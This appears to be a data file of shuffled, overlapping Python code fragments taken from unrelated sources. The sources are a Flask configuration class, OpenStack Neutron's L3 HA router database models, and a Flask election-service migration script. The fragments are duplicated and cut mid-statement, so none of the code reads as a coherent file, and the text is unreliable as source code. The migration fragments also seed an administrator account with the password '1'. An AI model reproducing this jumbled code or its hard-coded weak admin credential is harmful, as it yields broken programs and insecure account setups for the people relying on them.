cfg.get(section,\"HOST\")", "def __init__(self,debug=False): section = \"Flask-debug\" if debug else \"Flask\" cfg", "dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False):", "os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def", "if debug else \"Flask\" cfg = configparser.ConfigParser() cfg.read(dir_path if debug", "class Configuration(object): def __init__(self,debug=False): section = \"Flask-debug\" if debug else", "os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section =", "\"/var/www/html/flaskApp/cfg.ini\") self.debug = cfg.getboolean(section, \"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page =", "'/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = \"Flask-debug\" if debug" ]
[ "= 'ha_router_agent_port_bindings' __table_args__ = ( sa.UniqueConstraint( 'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR", "may obtain # a copy of the License at #", "# # Licensed under the Apache License, Version 2.0 (the", ") port_id = sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False, primary_key=True) port =", "tenant. One HA Network is used per tenant, all HA", "'ha_router_vrid_allocations' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) vr_id =", "agreed to in writing, software # distributed under the License", "Unless required by applicable law or agreed to in writing,", "per HA network. Keep a track of the VRID allocations", "per HA network. \"\"\" __tablename__ = 'ha_router_vrid_allocations' network_id = sa.Column(sa.String(36),", "HA router by a L3 agent. \"\"\" __tablename__ = 'ha_router_agent_port_bindings'", "class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation per HA network. Keep a track", "distributed under the License is distributed on an \"AS IS\"", "on this network. \"\"\" __tablename__ = 'ha_router_networks' network_id = sa.Column(sa.String(36),", "this network. \"\"\" __tablename__ = 'ha_router_networks' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id',", "License, Version 2.0 (the \"License\"); you may # not use", "CONDITIONS OF ANY KIND, either express or implied. See the", "HA router port. A HA Router has one HA port", "port is used for a HA router by a L3", "= sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host", "orm from neutron.common import constants as n_const from neutron.db.models import", "obtain # a copy of the License at # #", "constants as n_const from neutron.db.models import agent as agent_model from", "limitations # under the License. # from neutron_lib.db import model_base", "applicable law or agreed to in writing, software # distributed", "import model_base import sqlalchemy as sa from sqlalchemy import orm", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "state of a HA router port. A HA Router has", "from neutron.common import constants as n_const from neutron.db.models import agent", "A HA Router has one HA port per agent on", "Version 2.0 (the \"License\"); you may # not use this", "specific language governing permissions and limitations # under the License.", "state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey):", "# not use this file except in compliance with the", "not use this file except in compliance with the License.", "OF ANY KIND, either express or implied. See the #", "as agent_model from neutron.db import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent", "sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False, primary_key=True) port = orm.relationship(models_v2.Port) router_id = sa.Column(sa.String(36),", "sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent = orm.relationship(agent_model.Agent) state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY,", "agent on which it is spawned. This binding table stores", "writing, software # distributed under the License is distributed on", "sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False) l3_agent_id = sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent", "WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express", "in writing, software # distributed under the License is distributed", "neutron.common import constants as n_const from neutron.db.models import agent as", "L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation per HA network. Keep a track of", "class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent binding state of a HA router", "import constants as n_const from neutron.db.models import agent as agent_model", "in compliance with the License. You may obtain # a", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "License for the specific language governing permissions and limitations #", "HA network. \"\"\" __tablename__ = 'ha_router_vrid_allocations' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id',", "(C) 2014 eNov<NAME> <<EMAIL>> # # Licensed under the Apache", "is used for a HA router by a L3 agent.", "HA router ports are created on this network. \"\"\" __tablename__", "agent as agent_model from neutron.db import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent", "the License. You may obtain # a copy of the", "# under the License. # from neutron_lib.db import model_base import", "agent = orm.relationship(agent_model.Agent) state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY)", "an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF", "on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS", "use this file except in compliance with the License. You", "server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host HA network for a tenant.", "You may obtain # a copy of the License at", "used for a HA router by a L3 agent. \"\"\"", "HA network for a tenant. One HA Network is used", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "= 'ha_router_networks' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) network", "\"\"\" __tablename__ = 'ha_router_vrid_allocations' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False,", "sqlalchemy import orm from neutron.common import constants as n_const from", "class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host HA network for a tenant. One", "name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ ) port_id = sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False, primary_key=True)", "__tablename__ = 'ha_router_networks' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True)", "'ha_router_networks' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) network =", "are created on this network. \"\"\" __tablename__ = 'ha_router_networks' network_id", "from neutron_lib.db import model_base import sqlalchemy as sa from sqlalchemy", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "has one HA port per agent on which it is", "# from neutron_lib.db import model_base import sqlalchemy as sa from", "License. # from neutron_lib.db import model_base import sqlalchemy as sa", "Copyright (C) 2014 eNov<NAME> <<EMAIL>> # # Licensed under the", "ports are created on this network. \"\"\" __tablename__ = 'ha_router_networks'", "spawned. This binding table stores which port is used for", "nullable=False) l3_agent_id = sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent = orm.relationship(agent_model.Agent) state", "either express or implied. See the # License for the", "of a HA router port. A HA Router has one", "agent binding state of a HA router port. A HA", "import sqlalchemy as sa from sqlalchemy import orm from neutron.common", "L3 agent. \"\"\" __tablename__ = 'ha_router_agent_port_bindings' __table_args__ = ( sa.UniqueConstraint(", "a tenant. One HA Network is used per tenant, all", "HA Network is used per tenant, all HA router ports", "sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) network = orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2):", "under the License is distributed on an \"AS IS\" BASIS,", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "Licensed under the Apache License, Version 2.0 (the \"License\"); you", "model_base.HasProjectPrimaryKey): \"\"\"Host HA network for a tenant. One HA Network", "ondelete='CASCADE'), nullable=False) l3_agent_id = sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent = orm.relationship(agent_model.Agent)", "= orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation per HA network. Keep", "may # not use this file except in compliance with", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "= orm.relationship(agent_model.Agent) state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class", "This binding table stores which port is used for a", "'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ ) port_id = sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False,", "License is distributed on an \"AS IS\" BASIS, WITHOUT #", "with the License. You may obtain # a copy of", "2014 eNov<NAME> <<EMAIL>> # # Licensed under the Apache License,", "KIND, either express or implied. See the # License for", "# License for the specific language governing permissions and limitations", "router by a L3 agent. \"\"\" __tablename__ = 'ha_router_agent_port_bindings' __table_args__", "port = orm.relationship(models_v2.Port) router_id = sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False) l3_agent_id", "HA port per agent on which it is spawned. This", "you may # not use this file except in compliance", "primary_key=True) network = orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation per HA", "\"License\"); you may # not use this file except in", "= sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False, primary_key=True) port = orm.relationship(models_v2.Port) router_id", "IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,", "sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) network = orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID", "agent. \"\"\" __tablename__ = 'ha_router_agent_port_bindings' __table_args__ = ( sa.UniqueConstraint( 'router_id',", "__table_args__ = ( sa.UniqueConstraint( 'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ ) port_id", "express or implied. See the # License for the specific", "all HA router ports are created on this network. \"\"\"", "this file except in compliance with the License. You may", "import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent binding state of a", "primary_key=True) port = orm.relationship(models_v2.Port) router_id = sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False)", "compliance with the License. You may obtain # a copy", "Network is used per tenant, all HA router ports are", "sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent = orm.relationship(agent_model.Agent) state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'),", "= ( sa.UniqueConstraint( 'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ ) port_id =", "the Apache License, Version 2.0 (the \"License\"); you may #", "stores which port is used for a HA router by", "tenant, all HA router ports are created on this network.", "\"\"\" __tablename__ = 'ha_router_networks' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False,", "Keep a track of the VRID allocations per HA network.", "one HA port per agent on which it is spawned.", "network = orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation per HA network.", "port. A HA Router has one HA port per agent", "( sa.UniqueConstraint( 'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ ) port_id = sa.Column(sa.String(36),", "\"\"\"VRID allocation per HA network. Keep a track of the", "neutron.db import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent binding state of", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "from neutron.db import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent binding state", "binding state of a HA router port. A HA Router", "language governing permissions and limitations # under the License. #", "as n_const from neutron.db.models import agent as agent_model from neutron.db", "VRID allocations per HA network. \"\"\" __tablename__ = 'ha_router_vrid_allocations' network_id", "router port. A HA Router has one HA port per", "# WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "allocations per HA network. \"\"\" __tablename__ = 'ha_router_vrid_allocations' network_id =", "= 'ha_router_vrid_allocations' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) vr_id", "See the # License for the specific language governing permissions", "which it is spawned. This binding table stores which port", "it is spawned. This binding table stores which port is", "= orm.relationship(models_v2.Port) router_id = sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False) l3_agent_id =", "software # distributed under the License is distributed on an", "(the \"License\"); you may # not use this file except", "is spawned. This binding table stores which port is used", "the VRID allocations per HA network. \"\"\" __tablename__ = 'ha_router_vrid_allocations'", "port_id = sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False, primary_key=True) port = orm.relationship(models_v2.Port)", "__tablename__ = 'ha_router_vrid_allocations' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True)", "neutron_lib.db import model_base import sqlalchemy as sa from sqlalchemy import", "the License is distributed on an \"AS IS\" BASIS, WITHOUT", "the # License for the specific language governing permissions and", "model_base import sqlalchemy as sa from sqlalchemy import orm from", "# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "# # Unless required by applicable law or agreed to", "'ha_router_agent_port_bindings' __table_args__ = ( sa.UniqueConstraint( 'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ )", "model_base.BASEV2.__table_args__ ) port_id = sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False, primary_key=True) port", "\"\"\" __tablename__ = 'ha_router_agent_port_bindings' __table_args__ = ( sa.UniqueConstraint( 'router_id', 'l3_agent_id',", "One HA Network is used per tenant, all HA router", "default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host HA network for a", "which port is used for a HA router by a", "a track of the VRID allocations per HA network. \"\"\"", "from sqlalchemy import orm from neutron.common import constants as n_const", "binding table stores which port is used for a HA", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "n_const from neutron.db.models import agent as agent_model from neutron.db import", "# Copyright (C) 2014 eNov<NAME> <<EMAIL>> # # Licensed under", "permissions and limitations # under the License. # from neutron_lib.db", "file except in compliance with the License. You may obtain", "sa from sqlalchemy import orm from neutron.common import constants as", "= sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False) l3_agent_id = sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE'))", "network for a tenant. One HA Network is used per", "import orm from neutron.common import constants as n_const from neutron.db.models", "sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'), nullable=False, primary_key=True) port = orm.relationship(models_v2.Port) router_id =", "agent_model from neutron.db import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent binding", "for a HA router by a L3 agent. \"\"\" __tablename__", "for the specific language governing permissions and limitations # under", "the License. # from neutron_lib.db import model_base import sqlalchemy as", "law or agreed to in writing, software # distributed under", "l3_agent_id = sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent = orm.relationship(agent_model.Agent) state =", "network. Keep a track of the VRID allocations per HA", "of the VRID allocations per HA network. \"\"\" __tablename__ =", "OR CONDITIONS OF ANY KIND, either express or implied. See", "the specific language governing permissions and limitations # under the", "per agent on which it is spawned. This binding table", "is used per tenant, all HA router ports are created", "under the License. # from neutron_lib.db import model_base import sqlalchemy", "from neutron.db.models import agent as agent_model from neutron.db import models_v2", "table stores which port is used for a HA router", "eNov<NAME> <<EMAIL>> # # Licensed under the Apache License, Version", "governing permissions and limitations # under the License. # from", "HA network. Keep a track of the VRID allocations per", "= sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) network = orm.relationship(models_v2.Network) class", "HA Router has one HA port per agent on which", "under the Apache License, Version 2.0 (the \"License\"); you may", "except in compliance with the License. You may obtain #", "2.0 (the \"License\"); you may # not use this file", "network. \"\"\" __tablename__ = 'ha_router_vrid_allocations' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"),", "implied. See the # License for the specific language governing", "a HA router port. A HA Router has one HA", "<filename>neutron/db/models/l3ha.py # Copyright (C) 2014 eNov<NAME> <<EMAIL>> # # Licensed", "= sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) vr_id = sa.Column(sa.Integer(), nullable=False,", "sqlalchemy as sa from sqlalchemy import orm from neutron.common import", "n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host HA network", "\"\"\"Host HA network for a tenant. One HA Network is", "by a L3 agent. \"\"\" __tablename__ = 'ha_router_agent_port_bindings' __table_args__ =", "License. You may obtain # a copy of the License", "orm.relationship(agent_model.Agent) state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2,", "sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False) l3_agent_id = sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent =", "ondelete=\"CASCADE\"), nullable=False, primary_key=True) network = orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation", "models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent binding state of a HA", "by applicable law or agreed to in writing, software #", "# distributed under the License is distributed on an \"AS", "ANY KIND, either express or implied. See the # License", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY", "L3HARouterAgentPortBinding(model_base.BASEV2): \"\"\"Represent agent binding state of a HA router port.", "port per agent on which it is spawned. This binding", "= sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\", ondelete='CASCADE')) agent = orm.relationship(agent_model.Agent) state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE,", "# Unless required by applicable law or agreed to in", "import agent as agent_model from neutron.db import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2):", "a HA router by a L3 agent. \"\"\" __tablename__ =", "router ports are created on this network. \"\"\" __tablename__ =", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "orm.relationship(models_v2.Port) router_id = sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False) l3_agent_id = sa.Column(sa.String(36),", "router_id = sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'), nullable=False) l3_agent_id = sa.Column(sa.String(36), sa.ForeignKey(\"agents.id\",", "to in writing, software # distributed under the License is", "is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES", "a L3 agent. \"\"\" __tablename__ = 'ha_router_agent_port_bindings' __table_args__ = (", "Router has one HA port per agent on which it", "used per tenant, all HA router ports are created on", "nullable=False, primary_key=True) network = orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation per", "track of the VRID allocations per HA network. \"\"\" __tablename__", "BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either", "sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host HA", "or agreed to in writing, software # distributed under the", "<<EMAIL>> # # Licensed under the Apache License, Version 2.0", "'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ ) port_id = sa.Column(sa.String(36), sa.ForeignKey('ports.id', ondelete='CASCADE'),", "neutron.db.models import agent as agent_model from neutron.db import models_v2 class", "required by applicable law or agreed to in writing, software", "and limitations # under the License. # from neutron_lib.db import", "ondelete='CASCADE'), nullable=False, primary_key=True) port = orm.relationship(models_v2.Port) router_id = sa.Column(sa.String(36), sa.ForeignKey('routers.id',", "__tablename__ = 'ha_router_agent_port_bindings' __table_args__ = ( sa.UniqueConstraint( 'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'),", "name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY, server_default=n_const.HA_ROUTER_STATE_STANDBY) class L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host HA network for", "orm.relationship(models_v2.Network) class L3HARouterVRIdAllocation(model_base.BASEV2): \"\"\"VRID allocation per HA network. Keep a", "sa.UniqueConstraint( 'router_id', 'l3_agent_id', name='uniq_ha_router_agent_port_bindings0port_id0l3_agent_id'), model_base.BASEV2.__table_args__ ) port_id = sa.Column(sa.String(36), sa.ForeignKey('ports.id',", "network. \"\"\" __tablename__ = 'ha_router_networks' network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"),", "ondelete='CASCADE')) agent = orm.relationship(agent_model.Agent) state = sa.Column(sa.Enum(n_const.HA_ROUTER_STATE_ACTIVE, n_const.HA_ROUTER_STATE_STANDBY, name='l3_ha_states'), default=n_const.HA_ROUTER_STATE_STANDBY,", "as sa from sqlalchemy import orm from neutron.common import constants", "nullable=False, primary_key=True) port = orm.relationship(models_v2.Port) router_id = sa.Column(sa.String(36), sa.ForeignKey('routers.id', ondelete='CASCADE'),", "network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) network = orm.relationship(models_v2.Network)", "sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) vr_id = sa.Column(sa.Integer(), nullable=False, primary_key=True)", "allocation per HA network. Keep a track of the VRID", "network_id = sa.Column(sa.String(36), sa.ForeignKey('networks.id', ondelete=\"CASCADE\"), nullable=False, primary_key=True) vr_id = sa.Column(sa.Integer(),", "\"\"\"Represent agent binding state of a HA router port. A", "created on this network. \"\"\" __tablename__ = 'ha_router_networks' network_id =", "L3HARouterNetwork(model_base.BASEV2, model_base.HasProjectPrimaryKey): \"\"\"Host HA network for a tenant. One HA", "on which it is spawned. This binding table stores which", "for a tenant. One HA Network is used per tenant,", "or implied. See the # License for the specific language", "Apache License, Version 2.0 (the \"License\"); you may # not", "per tenant, all HA router ports are created on this" ]
[ "with application.app_context() as context: init(); migrate(message=\"Production migration\"); upgrade(); adminRole =", "userRole = Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User( jmbg=\"0000000000000\",", "Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\",", "models import database, Role, UserRole, User; from sqlalchemy_utils import database_exists,", "create_database; application = Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application, database); done", "adminRole = Role(name=\"administrator\"); userRole = Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin", "surname=\"admin\", email=\"<EMAIL>\", password=\"1\" ); database.session.add(admin); database.session.commit(); userRole = UserRole( userId=admin.id,", "init, migrate, upgrade; from models import database, Role, UserRole, User;", "database, Role, UserRole, User; from sqlalchemy_utils import database_exists, create_database; application", "database_exists, create_database; application = Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application, database);", "sqlalchemy_utils import database_exists, create_database; application = Flask(__name__); application.config.from_object(Configuration); migrateObject =", "import Configuration; from flask_migrate import Migrate, init, migrate, upgrade; from", "as context: init(); migrate(message=\"Production migration\"); upgrade(); adminRole = Role(name=\"administrator\"); userRole", "Migrate, init, migrate, upgrade; from models import database, Role, UserRole,", "= Migrate(application, database); done = False; while not done: try:", "<reponame>anae09/electionWebService from flask import Flask; from configuration import Configuration; from", "userRole = UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done =", "done = False; while not done: try: if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]):", "init(); migrate(message=\"Production migration\"); upgrade(); adminRole = Role(name=\"administrator\"); userRole = Role(name=\"user\");", "migrate(message=\"Production migration\"); upgrade(); adminRole = Role(name=\"administrator\"); userRole = Role(name=\"user\"); database.session.add(adminRole);", "not done: try: if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with application.app_context()", "= User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\", password=\"1\" ); database.session.add(admin); database.session.commit();", "migration\"); upgrade(); adminRole = Role(name=\"administrator\"); userRole = Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole);", "from flask import Flask; from configuration import Configuration; from flask_migrate", "database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\",", "Role, UserRole, User; from sqlalchemy_utils import database_exists, create_database; application =", "application = Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application, database); done =", "import Flask; from configuration import Configuration; from flask_migrate import Migrate,", "userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done = True; except Exception", "create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with application.app_context() as context: init(); migrate(message=\"Production migration\"); upgrade();", "); database.session.add(userRole); database.session.commit(); done = True; except Exception as err:", "forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\", password=\"1\" ); database.session.add(admin); database.session.commit(); userRole = UserRole(", "migrate, upgrade; from models import database, Role, UserRole, User; from", "flask_migrate import Migrate, init, migrate, upgrade; from models import database,", "try: if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with application.app_context() as context:", "database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with application.app_context() as context: init(); migrate(message=\"Production migration\");", "database.session.add(userRole); database.session.commit(); done = True; except Exception as err: print(err);", "context: init(); migrate(message=\"Production migration\"); upgrade(); adminRole = Role(name=\"administrator\"); userRole =", "UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done = True; except", "database.session.commit(); admin = User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\", password=\"1\" );", "application.config.from_object(Configuration); migrateObject = Migrate(application, database); done = False; while not", "done: try: if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with application.app_context() as", "database.session.add(userRole); database.session.commit(); admin = User( jmbg=\"0000000000000\", forename=\"admin\", surname=\"admin\", email=\"<EMAIL>\", password=\"1\"", "upgrade; from models import database, Role, UserRole, User; from sqlalchemy_utils", "= Role(name=\"user\"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User( jmbg=\"0000000000000\", forename=\"admin\",", "Configuration; from flask_migrate import Migrate, init, migrate, upgrade; from models", "while not done: try: if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]): create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]); database.init_app(application); with", "= Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application, database); done = False;", "application.app_context() as context: init(); migrate(message=\"Production migration\"); upgrade(); adminRole = Role(name=\"administrator\");", "import Migrate, init, migrate, upgrade; from models import database, 